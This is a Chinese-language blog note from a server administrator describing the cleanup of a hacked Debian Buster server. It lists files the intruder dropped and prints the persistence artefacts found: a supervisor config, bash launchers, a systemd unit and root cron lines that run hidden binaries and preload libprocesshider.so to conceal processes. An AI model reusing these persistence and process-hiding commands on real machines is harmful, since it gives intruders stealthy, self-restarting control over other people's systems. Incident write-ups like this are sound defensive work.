[筆記] Debian Buster 伺服器被入侵了!/ Debian Buster Server Been Hacked
上禮拜某天在開會的時候,LINE不斷傳來訊息
不過因為我向來開會都很認真(驕傲,所以都沒看,接著就變成來電了
看來大概有啥事發生
不過畢竟不是正職的工作,就先放著吧
後來變成連學長都直接打來告訴我,某間公司的伺服器出事了,客戶找不到我
叫我趕快連進去看
是說,啊我又沒跟人家簽維護,趕什麼趕…
總之,開完會後就了解一下狀況
了解狀況後(user 也只說不能連線..WTF),還是直接連進去看伺服器啥問題好了
連線的過程就發現,主機回應有點慢
不過還是可以連上,檢查一下ps / netstat 等等訊息,感覺就是有哪裡怪怪的
進去etc 看一下,一下 ls -lart 就發現不對,畫面整個跑掉
感覺就多了很多檔案
所以先裝個file manager 來看(這樣才能避免ls 被駭客調包的情況)
總之就發現了一些不正常的檔案
/etc/.sh 等等族繁不及備載
於是先去FW 把這台機器對外開放的port 先關掉
然後開始紀錄邊清
底下是一些記錄下來的log 很亂,因為是邊清邊紀錄的關係
這是在某個特定日期時間被產生出來的檔案
/etc/allow.bak
/etc/deny.bak
/etc/fstab
/etc/sysctl.conf
/etc/gshadow
/etc/fstab.bak
/etc/subuid
/etc/subgid
/etc/.supervisor
/sbin/https
/swapfile
/var/mail/root
/var/lib/rkhunter/tmp/group
/var/lib/rkhunter/tmp/passwd
/var/lib/dpkg/info/python-meld3.list
/var/backups/dpkg.status.1.gz
/var/backups/shadow.bak
/var/backups/group.bak
/var/backups/dpkg.status.6.gz
/var/backups/dpkg.status.3.gz
/var/backups/dpkg.status.5.gz
/var/backups/apt.extended_states.0
/var/backups/dpkg.status.2.gz
/var/backups/passwd.bak
/var/backups/gshadow.bak
/var/backups/dpkg.status.0
/var/backups/dpkg.status.4.gz
/var/log/wtmp.1
/var/log/supervisor
/var/log/dpkg.log.1
/var/log/secure
/var/log/apt/term.log.1.gz
/var/log/apt/history.log.1.gz
/usr/lib/systemd
/usr/lib/mysql/mysql
/etc/.supervisor/conf.d/sh.conf
[program:.sh]
directory=/etc/
command=/bin/bash -c 'cp -f -r -- /etc/spts /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
autostart=true
autorestart=true
startretries=999999999
redirect_stderr=true
pidfile=/etc/psdewo.pid
stdout_logfile=/etc/usercenter_stdout
php.sh 這個忘了是在crontab 還是/etc/profile.d/底下看到的
#!/bin/bash
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null
supervisor.sh
#!/bin/bash
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1
某個 service 檔案
[Unit]
Description=.sh
Wants=network.target
After=syslog.target network-online.target
[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process
[Install]
WantedBy=multi-user.target
syslog 部份內容
Jul 7 06:20:01 pve CRON[12502]: (root) CMD (/sbin/httpss)
Jul 7 06:20:01 pve CRON[12499]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul 7 06:21:01 pve CRON[14096]: (root) CMD (/usr/lib/mysql/mysql)
Jul 7 06:21:01 pve CRON[14095]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul 7 06:21:01 pve CRON[14094]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul 7 06:22:01 pve CRON[15995]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul 7 06:22:01 pve CRON[15994]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul 7 06:22:01 pve CRON[15996]: (root) CMD (/usr/lib/mysql/mysql)
Jul 7 06:23:01 pve CRON[17708]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul 7 06:23:01 pve CRON[17709]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul 7 06:23:01 pve CRON[17710]: (root) CMD (/usr/lib/mysql/mysql)
Jul 7 06:24:01 pve CRON[19353]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul 7 06:24:01 pve CRON[19351]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul 7 06:24:01 pve CRON[19352]: (root) CMD (/usr/lib/mysql/mysql)
Jul 7 06:25:01 pve CRON[21289]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul 7 06:25:01 pve CRON[21290]: (root) CMD (/usr/lib/mysql/mysql)
Jul 7 06:25:01 pve CRON[21288]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
Jul 7 06:25:01 pve CRON[21291]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
比較特別的是,他會去修改 /etc/fstab 載入一個 swapfile
WTF!? 沒事載入自己的 fstab 做啥??
然後還會在系統建立user 可以看一下 /etc/passwd , /etc/group , /etc/gshadow 這些檔案檢查
手邊最好有另一臺乾淨的同樣作業系統的機器
因為有很多系統指令已經被替換掉(netstat/ss/lsof 等等)
需要從乾淨的系統弄過來,或者是重新從apt 安裝回來